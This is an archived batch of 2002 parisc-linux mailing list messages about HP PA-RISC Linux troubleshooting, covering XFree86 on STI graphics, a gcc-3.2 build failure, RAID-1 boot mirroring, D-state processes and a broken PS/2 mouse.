X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15411

do anyone runs XFREE86 on STI? I have K210/819 HP
the error is FBIOPUT_VSCREENINFO: invalid argument
can anyone send me configuration file for X with STI working...?

-------------------------------------------------------------------
-->> Add WEB ACCESS to your POP email accounts with
-->> FREE Perl CGI scripts! Download today! http://www.adjeweb.com
-------------------------------------------------------------------


From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 on STI 819/K210
Date: Fri, 12 Jul 2002 14:10:49 +0200
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 15
Approved: news@gmane.org
Message-ID: <200207121410.49514.helge.deller@sap.com>
References: <20020712120458.2AAD3486D@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621494 10312 80.91.229.3 (22 Nov 2014 01:58:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:14 +0000 (UTC)
To: "Stephan Trajkoff" <stephan@itp.bg>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 06:12:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9FEED4876
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Jul 2002 06:12:32 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id OAA28154;
  Fri, 12 Jul 2002 14:18:16 +0200 (MESZ)
User-Agent: KMail/1.4.5
In-Reply-To: <20020712120458.2AAD3486D@dsl2.external.hp.com>
Content-Disposition: inline
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15412

On Friday 12 July 2002 14:06, Stephan Trajkoff wrote:
> do anyone runs XFREE86 on STI? I have K210/819 HP
> the error is FBIOPUT_VSCREENINFO: invalid argument
> can anyone send me configuration file for X with STI working...?

I think you should check the screen resolutions in your XF86Config-4.

ftp://ftp.parisc-linux.org/XFree86/XF86Config-4 is one example
and you should change it to have the correct Modelines as described
at the top in this file.

Greetings,
Helge



From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem building gcc-3.2 (cvs head) on hppa-linux
Date: Fri, 12 Jul 2002 09:44:04 -0400 (EDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <200207121344.g6CDi4vc017066__42369.4180827171$1416621494$gmane$org@hiauly1.hia.nrc.ca>
References: <20020712072703.GA8838@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621494 10322 80.91.229.3 (22 Nov 2014 01:58:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:14 +0000 (UTC)
Cc: gcc@gcc.gnu.org, parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 07:44:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D8144871
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 07:44:07 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g6CDi5FN017067;
	Fri, 12 Jul 2002 09:44:05 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g6CDi4vc017066;
	Fri, 12 Jul 2002 09:44:04 -0400 (EDT)
In-Reply-To: <20020712072703.GA8838@tausq.org> from "Randolph Chung" at Jul 12, 2002 00:27:03 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15413

> Trying to build CVS head (3.2 20020711) with:
> 
> configure --host=hppa-linux --build=hppa-linux --target=hppa64-linux
> --enable-shared --disable-nls --enable-languages=c
> 
> I get:
> 
> /home/tausq/build/gcc-3.2/gcc/xgcc -B/home/tausq/build/gcc-3.2/gcc/ -B/home/tausq/opt/gnu/hppa64-linux/bin/ -B/home/tausq/opt/gnu/hppa64-linux/lib/ -isystem /home/tausq/opt/gnu/hppa64-linux/include -O2  -DIN_GCC -DCROSS_COMPILE   -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem ./include  -fPIC -Dpa64=1 -DELF=1 -g  -DIN_LIBGCC2 -D__GCC_FLOAT_NOT_NEEDED -Dinhibit_libc -I.
> -I. -I/home/tausq/src/gcc-3.2/gcc -I/home/tausq/src/gcc-3.2/gcc/. -I/home/tausq/src/gcc-3.2/gcc/config -I/home/tausq/src/gcc-3.2/gcc/../include  -DL__gcc_bcmp -c /home/tausq/src/gcc-3.2/gcc/libgcc2.c -o libgcc/./__gcc_bcmp.o
> /home/tausq/src/gcc-3.2/gcc/unwind-dw2.c: In function `uw_frame_state_for':
> /home/tausq/src/gcc-3.2/gcc/unwind-dw2.c:906: warning: implicit declaration of function `memset'
> /home/tausq/src/gcc-3.2/gcc/unwind-dw2.c: In function `uw_install_context_1':
> /home/tausq/src/gcc-3.2/gcc/unwind-dw2.c:1193: warning: implicit declaration of
> function `memcpy'
> In file included from /home/tausq/src/gcc-3.2/gcc/unwind-dw2.c:1210:
> /home/tausq/src/gcc-3.2/gcc/unwind.inc: In function `_Unwind_RaiseException':
> /home/tausq/src/gcc-3.2/gcc/unwind.inc:132: error: Attempt to delete prologue/epilogue insn:
> (insn 337 336 338 14 (nil) (set (reg:DI 7 %r7)
>         (mem:DI (plus:DI (reg/f:DI 30 %r30)
>                 (const_int -296 [0xfffffffffffffed8])) [0 S8 A64])) -1 (nil)
>     (nil))
> /home/tausq/src/gcc-3.2/gcc/unwind.inc:132: internal compiler error: Internal compiler error in propagate_one_insn, at flow.c:1637
> Please submit a full bug report,
> with preprocessed source if appropriate.
> See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
> make[2]: *** [libgcc/./unwind-dw2.o] Error 1
> make[2]: Leaving directory `/home/tausq/build/gcc-3.2/gcc'
> make[1]: *** [libgcc.a] Error 2
> make[1]: Leaving directory `/home/tausq/build/gcc-3.2/gcc'
> make: *** [all-gcc] Error 2
> 
> The bootstrapping compiler is gcc-3.0.4

Yes.  This is one of the manifestations of the the long call bug
in 3.0.4.  You need to use "-O2" in STAGE1_CFLAGS to work around
it or use gcc 3.1 later as a bootstrap compiler.  You will have
the same problem if you try to rebuild 3.0.x.  There is a silent
miscompilation of expr.c if I remember correctly.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86 on STI 819/K210
Date: Fri, 12 Jul 2002 17:00:26 +0200
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 37
Approved: news@gmane.org
Message-ID: <200207121700.26113.helge.deller@sap.com>
References: <200207121244.OAA16127@smtpde02.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621495 10330 80.91.229.3 (22 Nov 2014 01:58:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Stephan Trajkoff" <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 09:02:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id D87CB482C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Jul 2002 09:02:26 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id RAA19150;
  Fri, 12 Jul 2002 17:07:50 +0200 (MESZ)
User-Agent: KMail/1.4.5
In-Reply-To: <200207121244.OAA16127@smtpde02.sap-ag.de>
Content-Disposition: inline
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15414

Hi Stepham

CC'ed to the list...

1. Yes:
ii  xfree86-common 4.1.0-17       X Window System (XFree86) infrastructure
ii  xserver-xfree8 4.1.0-17       the XFree86 X server

2. Did you checheck the "Mode"- line ? 
What does "dmesg | grep stifb" says ?

Helge

On Friday 12 July 2002 14:39, Stephan Trajkoff wrote:
> I get the same error again,
> can I run XFRee with only installed xserver-common and
> xserver-xfree86?
>
> -------- Original Message --------
>
> ==> From: Helge Deller <helge.deller@sap.com>
> ==> Date: Fri, 12 Jul 2002 14:10:49  0200
>
> On Friday 12 July 2002 14:06, Stephan Trajkoff wrote: > do anyone
> runs XFREE86 on STI? I have K210/819 HP > the error is
> FBIOPUT_VSCREENINFO: invalid argument > can anyone send me
> configuration file for X with STI working...?
>
> I think you should check the screen resolutions in your XF86Config-4.
>
> ftp://ftp.parisc-linux.org/XFree86/XF86Config-4 is one example and
> you should change it to have the correct Modelines as described at
> the top in this file.
>
> Greetings, Helge



From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Fri, 12 Jul 2002 08:01:39 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20020712150139.GC8838@tausq.org>
References: <20020712073628.GB8838@tausq.org> <1026467388.3d2ea63c0ac65@webmail.tiscalinet.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621495 10333 80.91.229.3 (22 Nov 2014 01:58:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:15 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 09:13:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id D66D44872
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 09:13:43 -0600 (MDT)
Original-Received: (qmail 4440 invoked from network); 12 Jul 2002 14:58:48 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <joel.soete@freebel.net>; 12 Jul 2002 14:58:48 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id BB6C0CDFFA; Fri, 12 Jul 2002 08:01:39 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1026467388.3d2ea63c0ac65@webmail.tiscalinet.be>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15415

> PS: Can you do a telnet or an ssh connection when this kernel is running? IIRC
> as well as gcc-3.1 as gcc-3.2, I always reach well to build and boot kernels
> (without kdb) but the system crashes as soon as you try to connect it via the
> network.

yes, i can ssh into the box.

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiling kernels with gcc-3.1
Date: Fri, 12 Jul 2002 18:23:43 +0200 (CEST)
Lines: 22
Approved: news@gmane.org
Message-ID: <1026491023.3d2f028f991a1@webmail.tiscalinet.be>
References: <20020712073628.GB8838@tausq.org> <1026467388.3d2ea63c0ac65@webmail.tiscalinet.be> <20020712150139.GC8838@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621495 10336 80.91.229.3 (22 Nov 2014 01:58:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:15 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 10:23:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4C52484A
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 10:23:46 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17T3Cp-0007BH-00; Fri, 12 Jul 2002 18:23:43 +0200
In-Reply-To: <20020712150139.GC8838@tausq.org>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15416

Quoting Randolph Chung <randolph@tausq.org>:

> > PS: Can you do a telnet or an ssh connection when this kernel is
> running? IIRC
> > as well as gcc-3.1 as gcc-3.2, I always reach well to build and boot
> kernels
> > (without kdb) but the system crashes as soon as you try to connect it
> via the
> > network.
> 
> yes, i can ssh into the box.
> 
Great news, I am impatient to also test it :)

Thanks a lot,
    Joel



-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MD problem
Date: Fri, 12 Jul 2002 18:49:23 +0200 (CEST)
Lines: 45
Approved: news@gmane.org
Message-ID: <1026492563.3d2f08930c978@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621496 10341 80.91.229.3 (22 Nov 2014 01:58:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 10:49:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id B8D764880
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 10:49:24 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17T3bf-0008Op-00
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 18:49:23 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15417

Hi All,

I build a raid-1 configuration starting from the internal disk sdb formated as
follow:
                                  cfdisk 2.11n

                              Disk Drive: /dev/sdb
                             Size: 9100044288 bytes
              Heads: 64   Sectors per Track: 32   Cylinders: 8678

    Name        Flags      Part Type  FS Type          [Label]        Size (MB)
 ------------------------------------------------------------------------------
    sdb1                    Primary   Linux/PA-RISC boot                  63.97
    sdb2                    Primary   Linux swap                         128.98
    sdb3                    Primary   Linux                              127.93
    sdb5                    Logical   Linux                             1664.10
    sdb6                    Logical   Linux                              255.86
    sdb7                    Logical   Linux                              127.93
    sdb8                    Logical   Linux                              127.93
    sdb9                    Logical   Linux                             2047.87
    sdb10                   Logical   Linux                             2047.87
    sdb11                   Logical   Linux                             2047.87
                            Logical   Free Space                         459.28

sdb3 being the /boot & sdb5 / fs.

then I copy this structure with sfdisk -d /dev/sdb | sfdisk /dev/sda (same size
but not the same supplier) and synchronize all mdi with respective disk slice.

All is ok. But still have to mirror manually quasi static slices: sdx1 (F0) and
sdx3 (/boot). So I umount /boot and made a dd from sdb3 to sda3 Ok and sdb1 to
sda1 Ok.

But when I try to boot from the mirror (ie sda) bootloader did not find the ipl
eventhought the copy of the two F0 slices (I can still boot from sdb)?

What do I wrong or better what should I have to resolve this problem?

Thanks in advance for advice,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa54  process in D stat problem
Date: Fri, 12 Jul 2002 19:16:03 +0200 (CEST)
Lines: 19
Approved: news@gmane.org
Message-ID: <1026494163.3d2f0ed30891a@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621496 10346 80.91.229.3 (22 Nov 2014 01:58:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 11:16:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id C440C486C
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 11:16:03 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17T41T-0007kB-00
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 19:16:03 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15418

Hi all,

On my b2000 with kernel pa44 I build tool chain without problem.

I upgrade this kernel to pa54 (in holliday for some days I could not do it step
by step).

Now when I try to rebuild toolchain it takes a long time and I notice (with top
and gkrellm) that some process went to D stat (uninterruptible sleep)during long
time (some time seems for ever: some find of updatedb).

Am I alone? What could I do?

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa54 PS/2 mouse broken?
Date: Fri, 12 Jul 2002 19:32:39 +0200 (CEST)
Lines: 16
Approved: news@gmane.org
Message-ID: <1026495159.3d2f12b76859f@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621496 10350 80.91.229.3 (22 Nov 2014 01:58:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:16 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 12 11:32:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 45E90486F
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 11:32:40 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17T4HX-0000Ga-00
	for <parisc-linux@parisc-linux.org>; Fri, 12 Jul 2002 19:32:39 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15419

Hi all,

On my b180 (on which I build my md mirror) mouse (PS/2) does not work any more
neither with gpm (release 1.19.6-12) neither with xfree86 (release
4.1.0-17)alone also (without gpm running) (I also test severall mouse knowing it
works on my 712). 

Thanks in advance for help,
    Joel




-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
